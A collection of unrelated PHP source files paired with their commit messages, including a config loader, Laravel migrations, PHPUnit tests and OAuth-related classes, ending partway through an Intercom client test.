<?php

    /**
     * Config Class
     *
     * Provide method to read, write and cache configuration file.
     *
     * @package Core
     */
    class Config
    {
        /**
         * Cache loaded configuration
         *
         * @var array
         */
        private $cache = array();

        /**
         * Load Configuration and return it's configuration as an array.
         *
         * @param  string $name Config name
         *
         * @return bool|array   FALSE if failed to load configuration or configuration
         *                      as array.
         */
        public function load($name)
        {
            $fp = false;

            if (!file_exists(APP_PATH . 'config/'.$name.'.php'))
            {
                return false;
            }

            $config = include (APP_PATH . 'config/'.$name.'.php');
            $this->cache[$name] = $config;
            return $config;
        }

        /**
         * Get configuration by key in config file.
         *
         * @param  string $name    Config file name
         * @param  string $key     Config Key name
         * @param  string $default Default Value
         *
         * @return string          Config Value
         */
        public function get($name, $key, $default=false)
        {
            $config = $this->load($name);

            if ($config === false)
            {
                return $default;
            }

            return isset($config[$key]) ? $config[$key] : $default;
        }
    }

?>

Add config class to load config file

Add config class to load config file


<?php
namespace Drupal\auth0\Event;

use Symfony\Component\EventDispatcher\Event;

/**
 * User signup event.
 */
class Auth0UserSignupEvent extends Event {

  const NAME = 'auth0.signup';

  protected $user;
  protected $auth0Profile;

  /**
   * Initialize the event.
   */
  public function __construct($user, $auth0Profile) {
    $this->user = $user;
  }

  /**
   * Get the drupal user.
   */
  public function getUser() {
    return $this->user;
  }

  /**
   * Get the Auth0 profile.
   */
  public function getAuth0Profile() {
    return $this->auth0Profile;
  }

}

<?php
namespace Drupal\auth0\Event;

use Symfony\Component\EventDispatcher\Event;

/**
 * User signup event.
 */
class Auth0UserSignupEvent extends Event {

  const NAME = 'auth0.signup';

  /**
   * @var \Drupal\user\UserInterface
   */
  protected $user;

  /**
   * @var array
   */
  protected $auth0Profile;

  /**
   * Initialize the event.
   * @param \Drupal\user\UserInterface $user
   * @param array $auth0Profile
   */
  public function __construct($user, $auth0Profile) {
    $this->user = $user;
  }

  /**
   * Get the drupal user.
   * @return \Drupal\user\UserInterface
   */
  public function getUser() {
    return $this->user;
  }

  /**
   * Get the Auth0 profile.
   * @return array
   */
  public function getAuth0Profile() {
    return $this->auth0Profile;
  }

}

Add type hinting to the sign-up event.

Add type hinting to the sign-up event.


<?php
// (c) Copyright 2002-2013 by authors of the Tiki Wiki CMS Groupware Project
//
// All Rights Reserved. See copyright.txt for details and a complete list of authors.
// Licensed under the GNU LESSER GENERAL PUBLIC LICENSE. See license.txt for details.
// $Id$

if (strpos($_SERVER["SCRIPT_NAME"], basename(__FILE__)) !== false) {
	header("location: index.php");
	exit;
}

/**
 * default for wysiwyg_htmltowiki changed between tiki 10 and 11 in r45440 - this maintains previous default setting
 *
 * @param $installer
 */
function upgrade_20130410_keep_wysiwyg_htmltowiki_setting_tiki($installer)
{
	$value = $installer->getOne("SELECT `value` FROM `tiki_preferences` WHERE `name` = 'wysiwyg_htmltowiki'");

	if ($value !== 'y') {	// default values can be empty
		$preferences = $installer->table('tiki_preferences');
		$preferences->insertOrUpdate(array('value' => 'n'), array('name' => 'wysiwyg_htmltowiki'));
	}
}

[FIX] wysiwyg: Maintain wysiwyg_htmltowiki setting if using previous default (n = html) as default changed to y in 11.x - thanks Geoff

git-svn-id: bf8acf6ea2e0c2f171d9237652733ab0075b5b4c@46629 b456876b-0849-0410-b77d-98878d47e9d5


<?php

require_once '../Mustache.php';

class MustacheExceptionTest extends PHPUnit_Framework_TestCase {

	const TEST_CLASS = 'Mustache';

	protected $pickyMustache;
	protected $slackerMustache;

	public function setUp() {
		$this->pickyMustache      = new PickyMustache();
		$this->slackerMustache    = new SlackerMustache();
	}

	/**
	 * @expectedException MustacheException
	 */
	public function testThrowsUnknownVariableException() {
		$this->pickyMustache->render('{{not_a_variable}}');
	}

	/**
	 * @expectedException MustacheException
	 */
	public function testThrowsUnclosedSectionException() {
		$this->pickyMustache->render('{{#unclosed}}');
	}

	/**
	 * @expectedException MustacheException
	 */
	public function testThrowsUnexpectedCloseSectionException() {
		$this->pickyMustache->render('{{/unopened}}');
	}

	/**
	 * @expectedException MustacheException
	 */
	public function testThrowsUnknownPartialException() {
		$this->pickyMustache->render('{{>impartial}}');
	}

	/**
	 * @expectedException MustacheException
	 */
	public function testThrowsUnknownPragmaException() {
		$this->pickyMustache->render('{{%SWEET-MUSTACHE-BRO}}');
	}

	public function testDoesntThrowUnclosedSectionException() {
		$this->assertEquals('', $this->slackerMustache->render('{{#unclosed}}'));
	}

	public function testDoesntThrowUnexpectedCloseSectionException() {
		$this->assertEquals('', $this->slackerMustache->render('{{/unopened}}'));
	}

	public function testDoesntThrowUnknownPartialException() {
		$this->assertEquals('', $this->slackerMustache->render('{{>impartial}}'));
	}

	/**
	 * @expectedException MustacheException
	 */
	public function testGetPragmaOptionsThrowsExceptionsIfItThinksYouHaveAPragmaButItTurnsOutYouDont() {
		$mustache = new TestableMustache();
		$mustache->testableGetPragmaOptions('PRAGMATIC');
	}
}

class PickyMustache extends Mustache {
	protected $_throwsExceptions = array(
		MustacheException::UNKNOWN_VARIABLE         => true,
		MustacheException::UNCLOSED_SECTION         => true,
		MustacheException::UNEXPECTED_CLOSE_SECTION => true,
		MustacheException::UNKNOWN_PARTIAL          => true,
		MustacheException::UNKNOWN_PRAGMA           => true,
	);
}

class SlackerMustache extends Mustache {
	protected $_throwsExceptions = array(
		MustacheException::UNKNOWN_VARIABLE         => false,
		MustacheException::UNCLOSED_SECTION         => false,
		MustacheException::UNEXPECTED_CLOSE_SECTION => false,
		MustacheException::UNKNOWN_PARTIAL          => false,
		MustacheException::UNKNOWN_PRAGMA           => false,
	);
}

class TestableMustache extends Mustache {
	public function testableGetPragmaOptions($pragma_name) {
		return $this->_getPragmaOptions($pragma_name);
	}
}

Add test coverage for edge cases and exceptions.


<?php

use GuzzleHttp\Message\Response;
use GuzzleHttp\Subscriber\Mock;
use Illuminate\Foundation\Testing\DatabaseMigrations;
use Illuminate\Foundation\Testing\DatabaseTransactions;
use Illuminate\Foundation\Testing\WithoutMiddleware;
use ImguBox\Services\ImgurService;
use ImguBox\User;

class GuzzleImgurTest extends TestCase
{
    use DatabaseMigrations, DatabaseTransactions;

    protected $mockPath = "./tests/mock/responses";

    protected function getClient()
    {
        return app(ImgurService::class);
    }

    protected function mockClient($mockFile)
    {
        $client = $this->getClient();

        // Add mocked response to Client
        $mock = new Mock(["$this->mockPath/$mockFile"]);
        $client->getClient()->getEmitter()->attach($mock);

        return $client;
    }

    protected function getBody(Response $response)
    {
        return json_decode($response->getBody());
    }

    public function testImgurAuthenticationFails()
    {
        // Implement Test
    }

    public function testImgurReturnsRefreshToken()
    {
        $client = $this->mockClient("imgur_refresh_token_success.txt");

        $response = $client->image("CBPafr2");

        $this->assertEquals(200, $response->getStatusCode());
        $this->assertEquals("bearer", $this->getBody($response)->token_type);
        $this->assertEquals("3600", $this->getBody($response)->expires_in);
    }

    public function testImgurReturnsFavoritesArray()
    {
        $user   = factory(User::class)->create();
        $client = $this->mockClient("imgur_favorites.txt");
        $client->setUser($user);

        $response = $client->favorites();

        $this->assertEquals(200, $response->getStatusCode());
        $this->assertTrue($this->getBody($response)->success);
    }

    public function testImgurReturnsImageObject()
    {
        $client = $this->mockClient("imgur_image_success.txt");

        $response = $client->image("CBPafr2");

        $this->assertEquals(200, $response->getStatusCode());
        $this->assertTrue($this->getBody($response)->success);
    }

    public function testImgurFailsToFindImageObject()
    {
        $client = $this->mockClient("imgur_image_error.txt");

        $response = $client->image("CBPafr2");

        $this->assertEquals(404, $response->getStatusCode());
        $this->assertEquals(false, $this->getBody($response)->success);
    }

    public function testImgurReturnsAlbumObject()
    {
        $client = $this->mockClient("imgur_album_success.txt");

        $response = $client->gallery("hN1p2");

        $this->assertEquals(200, $response->getStatusCode());
        $this->assertTrue($this->getBody($response)->success);
        $this->assertEquals("hN1p2", $this->getBody($response)->data->id);
    }

    public function testImgurFailsToFindAlbumObject()
    {
        $client = $this->mockClient("imgur_album_error.txt");

        $response = $client->gallery("hN1p2o");

        $this->assertEquals(404, $response->getStatusCode());
        $this->assertEquals(false, $this->getBody($response)->success);
    }

}

Add some simple Imgur Tests with Guzzle

Add some simple Imgur Tests with Guzzle

¯\_(ツ)_/¯


<?php
/**
 * Contracts libray - a design by contracts library
 *
 * @author      Ntwali Bashige <ntwali.bashige@gmail.com>
 * @copyright   2015 Ntwali Bashige
 * @link        http://www.ntwalibas.me/contracts
 * @license     http://www.ntwalibas.me/contracts/license
 * @version     0.1.0
 *
 * MIT LICENSE
 */

use Contracts\Predicates;

/**
 * The Predicates abstract class is mostly made of getters and setters
 * For the moment, we shall focus on testing its __call method
 * TODO: Other methods do warrant testing - mainly integration tests but we reserve those tests for later
 */
class PredicatesTest extends PHPUnit_Framework_TestCase
{
    protected $mockPredicates;

    public function setUp()
    {
        $this->mockPredicates = new MockPredicates;
    }

    public function testConstructor()
    {
        $this->assertTrue($this->mockPredicates instanceof Predicates, "Failed to assert that the mock predicates successfuly inherit from the Predicates class.");
    }

    public function testCall()
    {
        $secondMockPredicates = new SecondMockPredicates($this->mockPredicates);

        $this->assertTrue($secondMockPredicates->mockMethod(), "Failed to call the mockMethod on a  registered predicates.");
    }

    /**
     * @expectedException InvalidArgumentException
     */
    public function testCallException()
    {
        $secondMockPredicates = new SecondMockPredicates($this->mockPredicates);

        $this->assertTrue($secondMockPredicates->badMockMethod(), "Failed to throw an exception given an inexistent method.");
    }
}

class MockPredicates extends Predicates
{
    public function __construct()
    {
        parent::__construct($this);
    }

    public function mockMethod()
    {
        return true;
    }
}

class SecondMockPredicates extends Predicates
{
    public function __construct($predicatesDecorator)
    {
        parent::__construct($this);
    }
}

Test cases for the Predicates abstract class


<?php

namespace Risan\OAuth1\Test\Unit\Provider;

use PHPUnit\Framework\TestCase;
use Risan\OAuth1\Provider\Tumblr;
use Risan\OAuth1\Signature\HmacSha1Signer;
use Risan\OAuth1\Provider\ProviderInterface;

class TumblrTest extends TestCase
{
    private $tumblr;

    function setUp()
    {
        $this->tumblr = new Tumblr();
    }

    /** @test */
    function it_implements_provider_interface()
    {
        $this->assertInstanceOf(ProviderInterface::class, $this->tumblr);
    }

    /** @test */
    function it_has_correct_uri_config()
    {
        $this->assertEquals([
            'temporary_credentials_uri' => 'https://www.tumblr.com/oauth/request_token',
            'authorization_uri' => 'https://www.tumblr.com/oauth/authorize',
            'token_credentials_uri' => 'https://www.tumblr.com/oauth/access_token',
            'base_uri' => 'https://api.tumblr.com/v2/',
        ], $this->tumblr->getUriConfig());
    }

    /** @test */
    function it_has_hmac_sha1_signer()
    {
        $this->assertInstanceOf(HmacSha1Signer::class, $this->tumblr->getSigner());
    }
}

Add test for Tumblr provider.

:white_check_mark: Add test for Tumblr provider.


<?php
namespace pyd\testkit\events;

use pyd\testkit\events\Event;

/**
 * Interface for classes that want to be informed when an event occurs.
 *
 * @author Pierre-Yves DELETTRE <pierre.yves.delettre@gmail.com>
 */
interface Observer
{
    public function handleEvent(Event $event);
}

Add an interface for observer classes

Add an interface for observer classes


<?php
/**
 * Squiz_Sniffs_Classes_ClassFileNameSniff.
 *
 * PHP version 5
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @author    Marc McIntyre <mmcintyre@squiz.net>
 * @copyright 2006-2011 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   http://matrix.squiz.net/developer/tools/php_cs/licence BSD Licence
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */

/**
 * Squiz_Sniffs_Classes_ClassFileNameSniff.
 *
 * Tests that the file name and the name of the class contained within the file
 * match.
 *
 * @category  PHP
 * @package   PHP_CodeSniffer
 * @author    Greg Sherwood <gsherwood@squiz.net>
 * @author    Marc McIntyre <mmcintyre@squiz.net>
 * @copyright 2006-2011 Squiz Pty Ltd (ABN 77 084 670 600)
 * @license   http://matrix.squiz.net/developer/tools/php_cs/licence BSD Licence
 * @version   Release: 1.3.3
 * @link      http://pear.php.net/package/PHP_CodeSniffer
 */
class Snap_Sniffs_Classes_ClassFileNameSniff implements PHP_CodeSniffer_Sniff
{

    /**
     * Returns an array of tokens this test wants to listen for.
     *
     * @return array
     */
    public function register()
    {
        return array(
                T_CLASS,
                T_INTERFACE,
               );

    }//end register()

    /**
     * Processes this test, when one of its tokens is encountered.
     *
     * @param PHP_CodeSniffer_File $phpcsFile The file being scanned.
     * @param int                  $stackPtr  The position of the current token in the
     *                                        stack passed in $tokens.
     *
     * @return void
     */
    public function process(PHP_CodeSniffer_File $phpcsFile, $stackPtr)
    {
        $tokens   = $phpcsFile->getTokens();
        $decName  = $phpcsFile->findNext(T_STRING, $stackPtr);
        $fullPath = basename($phpcsFile->getFilename());
        $fileName = substr($fullPath, 0, strrpos($fullPath, '.'));

        if (preg_replace('/^\w+_/', '', $tokens[$decName]['content']) !== $fileName) {
            $error = '%s name doesn\'t match filename; expected "%s %s"';
            $data  = array(
                      ucfirst($tokens[$stackPtr]['content']),
                      $tokens[$stackPtr]['content'],
                      $fileName,
                     );
            $phpcsFile->addError($error, $stackPtr, 'NoMatch', $data);
        }

    }//end process()

}//end class

?>

Check class vs file names

Check class vs file names


<?php

use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;

class NullableEntryUrlOnContestEntries extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::table('contest_entries', function (Blueprint $table) {
            $table->string('entry_url')->nullable()->default('NULL')->change();
        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::table('contest_entries', function (Blueprint $table) {
            $table->string('entry_url')->nullable(false)->default('')->change();
        });
    }
}

Make entry_url on contest_entries nullable


<?php
/**
 * Created by PhpStorm.
 * User: thanh
 * Date: 13/1/2017
 * Time: 10:43 AM
 */

namespace api\components;

use fproject\rest\UrlRule;

class TokenUrlRule extends UrlRule
{
    /** @inheritdoc */
    public $patterns = [
        'POST generate-private' => 'generate-private',
        'POST generate-public' => 'generate-public',
        'GET public-key' => 'public-key'
    ];
}

Add new UrlRule for token

Add new UrlRule for token


<?php
namespace Companies20Module;

/**
 * Base class for all companies20 module presenters.
 *
 * @author     Michal Špaček
 * @package    michalspacek.cz
 */
abstract class BasePresenter extends \Nette\Application\UI\Presenter
{

	protected function createTemplate($class = null)
	{
		$helpers = $this->getContext()->getByType(\MichalSpacekCz\Templating\Helpers::class);

		$template = parent::createTemplate($class);
		$template->getLatte()->addFilter(null, [$helpers, 'loader']);
		return $template;
	}

}

Add translator everywhere as the basepresenter needs it anyway


<?
/*
    ***** BEGIN LICENSE BLOCK *****

    This file is part of the Zotero Data Server.

    Copyright © 2012 Center for History and New Media
                     George Mason University, Fairfax, Virginia, USA
                     http://zotero.org

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU Affero General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU Affero General Public License for more details.

    You should have received a copy of the GNU Affero General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.

    ***** END LICENSE BLOCK *****
*/

require_once 'APITests.inc.php';
require_once 'include/api.inc.php';

class PermissionsTest extends APITests {
	public function testUserGroupsAnonymous() {
		$response = API::get("users/" . self::$config['userID'] . "/groups?content=json");
		$this->assert200($response);

		// There should be only one public group
		$this->assertNumResults(1, $response);

		// Make sure it's the right group
		$xml = API::getXMLFromResponse($response);
		$groupID = (int) array_shift($xml->xpath('//atom:entry/zapi:groupID'));
		$this->assertEquals(self::$config['ownedPublicGroupID'], $groupID);
	}

	public function testUserGroupsOwned() {
		$response = API::get(
			"users/" . self::$config['userID'] . "/groups?content=json"
			. "&key=" . self::$config['apiKey']
		);
		$this->assert200($response);

		$this->assertNumResults(2, $response);
	}
}

Add tests for user group permissions

Add tests for user group permissions


<?php

namespace Concrete\Tests\Cache\Driver;

use Concrete\Core\Cache\Adapter\LaminasCacheDriver;
use Concrete\Core\Cache\Level\RequestCache;
use Concrete\Core\Support\Facade\Application;
use Concrete\Tests\TestCase;

class LaminasCacheDriverTest extends TestCase
{
    public function testGetLaminasCacheItem()
    {
        $key = 'test/get';
        $value = 'example';
        $cacheName = 'cache/request';
        $app = Application::getFacadeApplication();
        /** @var RequestCache $cache */
        $cache = $app->make($cacheName);
        $item = $cache->getItem('laminas/' . $key);
        $item->set($value);
        $cache->save($item);

        $driver = new LaminasCacheDriver($cacheName, 50);
        $result = $driver->getItem($key);
        $this->assertEquals($value, $result);

        $item->clear();
    }

    public function testSetLaminasCacheItem()
    {
        $key = 'test/set';
        $value = 'example';
        $cacheName = 'cache/request';
        $now = time();
        $driver = new LaminasCacheDriver($cacheName, 50);
        $result = $driver->setItem($key, $value);
        if ($result) {
            $app = Application::getFacadeApplication();
            /** @var RequestCache $cache */
            $cache = $app->make($cacheName);
            $item = $cache->getItem('laminas/' . $key);
            if (!$item->isMiss()) {
                $expires = $item->getExpiration()->getTimestamp();
                $this->assertGreaterThanOrEqual($now, $expires);
                $this->assertLessThan($now + 100, $expires);
                $this->assertEquals($value, $item->get());
                $item->clear();
            } else {
                $this->fail('Failed to get cache item');
            }
        } else {
            $this->fail('Failed to set cache item');
        }
    }

    public function testRemoveLaminasCacheItem()
    {
        $key = 'test/remove';
        $value = 'example';
        $cacheName = 'cache/request';
        $app = Application::getFacadeApplication();
        /** @var RequestCache $cache */
        $cache = $app->make($cacheName);
        $item = $cache->getItem('laminas/' . $key);
        $item->set($value);
        $cache->save($item);

        $driver = new LaminasCacheDriver($cacheName, 50);
        $driver->removeItem($key);

        $item = $cache->getItem('zend/' . $key);
        $this->assertFalse($item->isHit());
    }
}

Add a test for LaminasCacheDriver

Add a test for LaminasCacheDriver


<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;

class AddSubheadToStoriesTable extends Migration {

	/**
	 * Run the migrations.
	 *
	 * @return void
	 */
	public function up()
	{
		Schema::table('stories', function(Blueprint $table) {
			$table->string('title');
			$table->string('subhead')->nullable();
		});
	}

	/**
	 * Reverse the migrations.
	 *
	 * @return void
	 */
	public function down()
	{
		Schema::table('stories', function(Blueprint $table) {
			$table->dropColumn('title', 'subhead');
		});
	}

}

Add columns to stories table

Add columns to stories table


<?php

use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;

class UpdateInfractionsMakeNullable extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::table('infractions', function (Blueprint $table) {
            $table->string('reason')->nullable()->change();
        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::table('infractions', function (Blueprint $table) {
            $table->string('reason')->nullable(false)->change();
        });
    }
}

Make the reason column nullable

Make the reason column nullable


<?php

namespace JPB\WP\Dev;

use UnexpectedValueException;

trait TemplateLoadingTrait {

	protected $templateDirectory;

	/**
	 * Sets the template directory as the root for template lookups
	 *
	 * @param string $directory
	 *
	 * @return $this
	 */
	protected function setTemplateDirectory( $directory ) {
		$this->templateDirectory = $directory;

		return $this;
	}

	/**
	 * Load a template or variant thereof with context passed in.
	 *
	 * Pass in a template variant to load a variant template if it exists. For example, if you load 'foo' with a variant
	 * of 'bar', this method first tries to load 'foo-bar.php', then 'foo.php'. Any elements in the context array will
	 * be loaded as local variables within the template. Pass in non-global variables this way. You may omit the variant
	 * and pass the context in its place as well.
	 *
	 * @param string       $template
	 * @param string|array $variant
	 * @param array        $context
	 */
	protected function loadTemplate( $template, $variant = '', $context = [] ) {
		if ( is_array( $variant ) ) {
			if ( empty( $context ) ) {
				$context = $variant;
			}
			$variant = '';
		}
		$templateDirectory = rtrim( $this->templateDirectory, '/\\' );
		$ds                = DIRECTORY_SEPARATOR;
		$__files           = [];
		if ( $variant ) {
			$files[] = "{$templateDirectory}{$ds}{$template}-$variant.php";
		}
		$__files[] = "{$templateDirectory}{$ds}{$template}.php";
		unset( $variant, $template, $templateDirectory, $ds );
		extract( $context, EXTR_SKIP );
		foreach ( $__files as $__file ) {
			if ( file_exists( $__file ) ) {
				require $__file;
				$found_template = true;
				break;
			}
		}
		if ( ! isset( $found_template ) ) {
			throw new UnexpectedValueException( 'Could not find a template' );
		}
	}

}

Add a template loading trait

Add a template loading trait


<?php
/*
 * Copyright 2011 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
require_once '../../src/apiClient.php';
require_once '../../src/contrib/apiGanService.php';

session_start();

$client = new apiClient();
$client->setApplicationName("Google GAN PHP Starter Application");
// Visit https://code.google.com/apis/console?api=gan to generate your
// oauth2_client_id, oauth2_client_secret, and to register your oauth2_redirect_uri.
// $client->setClientId('insert_your_oauth2_client_id');
// $client->setClientSecret('insert_your_oauth2_client_secret');
// $client->setRedirectUri('insert_your_oauth2_redirect_uri');
// $client->setDeveloperKey('insert_your_simple_api_key');
$gan = new apiGanService($client);

if (isset($_REQUEST['logout'])) {
  unset($_SESSION['access_token']);
}

if (isset($_GET['code'])) {
  $client->authenticate();
  $_SESSION['access_token'] = $client->getAccessToken();
  header('Location: http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']);
}

if (isset($_SESSION['access_token'])) {
  $client->setAccessToken($_SESSION['access_token']);
}

if ($client->getAccessToken()) {
  $publishers = $gan->publishers->listPublishers("advertisers", "INSERT_ROLE_ID" /* The ID of the requesting advertiser or publisher */);
  $advertisers = $gan->advertisers->listAdvertisers("publishers", "INSERT_ROLE_ID" /* The ID of the requesting advertiser or publisher */);
  print "
" . print_r($publishers, true) . "
";
  print "
" . print_r($advertisers, true) . "
";

  // The access token may have been updated lazily.
  $_SESSION['access_token'] = $client->getAccessToken();
} else {
  $authUrl = $client->createAuthUrl();
}
?>

<?php
  if(isset($authUrl)) {
    print "Connect Me!";
  } else {
   print "Logout";
  }
?>

Add a sample application for the google affiliate network.


<?php

use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;

class UpdateCharactersTableRenameKanjiColumn extends Migration
{
	/**
	 * Run the migrations.
	 *
	 * @return void
	 */
	public function up()
	{
		if(Schema::hasTable('characters')) {
			Schema::table('characters', function(Blueprint $table) {
				$table->renameColumn('kanji', 'name_original');
				$table->renameColumn('yobikata', 'name_furigana');
				$table->renameColumn('betsumyou', 'name_betsumyou');
			});
		}
	}

	/**
	 * Reverse the migrations.
	 *
	 * @return void
	 */
	public function down()
	{
		if(Schema::hasTable('characters')) {
			Schema::table('characters', function(Blueprint $table) {
				$table->renameColumn('name_betsumyou', 'betsumyou');
				$table->renameColumn('name_furigana', 'yobikata');
				$table->renameColumn('name_original', 'kanji');
			});
		}
	}
}

Make migration to update Characters table name columns


<?php
/**
 * CakePHP :  Rapid Development Framework (http://cakephp.org)
 * Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
 *
 * Licensed under The MIT License
 * For full copyright and license information, please see the LICENSE.txt
 * Redistributions of files must retain the above copyright notice.
 *
 * @copyright     Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
 * @link          http://cakefoundation.org/projects/info/cakephp CakePHP Project
 * @since         3.0.0
 * @license       http://www.opensource.org/licenses/mit-license.php MIT License
 */
namespace TestPlugin\Model\Table;

use Cake\ORM\Table;

/**
 * Class TestPluginCommentsTable
 *
 */
class TestPluginCommentsTable extends Table {

	protected $_table = 'test_plugin_comments';

}

<?php
/**
 * CakePHP :  Rapid Development Framework (http://cakephp.org)
 * Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
 *
 * Licensed under The MIT License
 * For full copyright and license information, please see the LICENSE.txt
 * Redistributions of files must retain the above copyright notice.
 *
 * @copyright     Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
 * @link          http://cakefoundation.org/projects/info/cakephp CakePHP Project
 * @since         3.0.0
 * @license       http://www.opensource.org/licenses/mit-license.php MIT License
 */
namespace TestPlugin\Model\Table;

use Cake\ORM\Table;

/**
 * Class TestPluginCommentsTable
 *
 */
class TestPluginCommentsTable extends Table {

	public function initialize(array $config) {
		$this->table('test_plugin_comments');
	}

}

Use method instead of property for config.


<?php
namespace Math\Probability;

class ChiSquaredlTableTest extends \PHPUnit_Framework_TestCase
{
    /**
     * @dataProvider dataProviderForTable
     */
    public function testChiSquaredValuesFromConstant(int $df, float $p, float $χ²)
    {
        $p = sprintf('%1.3f', $p);
        $this->assertEquals($χ², ChiSquaredTable::CHI_SQUARED_SCORES[$df][$p]);
    }

    /**
     * @dataProvider dataProviderForTable
     */
    public function testChiSquaredValuesFromFunction(int $df, float $p, float $χ²)
    {
        $this->assertEquals($χ², ChiSquaredTable::getChiSquareValue($df, $p));
    }

    public function dataProviderForTable()
    {
        return [
            [1, 0.995, 0.0000393],
            [1, 0.05, 3.841],
            [1, 0.050, 3.841],
            [1, 0.01, 6.635],
            [5, 0.05, 11.070],
            [5, 0.01, 15.086],
        ];
    }

    public function testChiSquaredTableException()
    {
        $this->setExpectedException('\Exception');

        $df = 88474;
        $p  = 0.44;
        ChiSquaredTable::getChiSquareValue($df, $p);
    }
}

Add unit tests for chi-squared table.

Add unit tests for chi-squared table.


<?php
/**
 * contentinum - accessibility websites
 *
 * LICENSE
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
 * OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @category contentinum components
 * @package Entity
 * @author Michael Jochum, michael.jochum@jochum-mediaservices.de
 * @copyright Copyright (c) 2009-2013 jochum-mediaservices, Katja Jochum (http://www.jochum-mediaservices.de)
 * @license http://www.opensource.org/licenses/bsd-license
 * @since contentinum version 4.0
 * @link      https://github.com/Mikel1961/contentinum-components
 * @version   1.0.0
 */
namespace ContentinumComponents\Debug;

/**
 * Warpper var_dump
 * @author mike
 *
 */
class Application
{
    /**
     * Warpper var_dump
     * @param mixed $value
     * @param boolen $exit
     * @param boolen $debug
     */
    public static function dump($value, $exit = true, $debug = false)
    {
        print '<pre>';
        var_dump($value);
        print '</pre>';
        if (true === $exit){
            exit();
        }
    }
}

Debug application - var_dump warpper

Debug application - var_dump warpper


<?php

namespace Risan\OAuth1;

interface HttpClientInterface
{
    /**
     * Create and send HTTP request.
     *
     * @param  string $method
     * @param  string $uri
     * @param  array  $options
     * @return Psr\Http\Message\ResponseInterface
     */
    public function request($method, $uri, array $options = []);

    /**
     * Create and send HTTP POST request.
     *
     * @param  string $uri
     * @param  array  $options
     * @return Psr\Http\Message\ResponseInterface
     */
    public function post($uri, array $options = []);
}

Add new interface for HTTP client.

:sparkles: Add new interface for HTTP client.


<?php defined('BASEPATH') || exit('No direct script access allowed');
/**
 * Extends CI's directory helpers.
 *
 * @author Eike Foken <kontakt@eikefoken.de>
 */

/**
 * Creates a directory if it not already exists. Works recursively.
 *
 * @param string $path Path to the directory to create
 * @return boolean
 */
if (!function_exists('mkdirs')) {
	function mkdirs($path, $mode = 0777) {
		if (!is_dir($path)) {
			$old_umask = umask(0);
			$result = mkdir($path, $mode, true);
			umask($old_umask);
		}
		return $result;
	}
}

/* End of file MY_file_helper.php */
/* Location: ./application/helpers/MY_file_helper.php */

Add extension for CI's directory helper

Add extension for CI's directory helper


<?php
namespace Intercom;

use Guzzle\Tests\GuzzleTestCase;

class IntercomBasicAuthClientTest extends GuzzleTestCase
{
    private $config = [
        'api_key' => '1234',
        'app_id' => 'my-app'
    ];

    public function testFactory() {
        $client = IntercomBasicAuthClient::factory($this->config);
        $this->assertInstanceOf('Intercom\IntercomBasicAuthClient', $client);
    }

    public function testConstructor() {
        $client = new IntercomBasicAuthClient($this->config);
        $this->assertInstanceOf('Intercom\IntercomBasicAuthClient', $client);
    }

    public function testAuthIsSet() {
        $client = IntercomBasicAuthClient::factory($this->config);
        $auth = $client->getDefaultOption('auth');

        $this->assertEquals(3, count($auth));
        $this->assertEquals($this->config['app_id'], $auth[0]);
        $this->assertEquals($this->config['api_key'], $auth[1]);
        $this->assertEquals('Basic', $auth[2]);
    }

    function testGetServiceDescriptionFromFile() {
        $client = new IntercomBasicAuthClient($this->config);
        $sd = $client->getServiceDescriptionFromFile(__DIR__ . '/../../src/intercom/Service/config/intercom_v3.json');
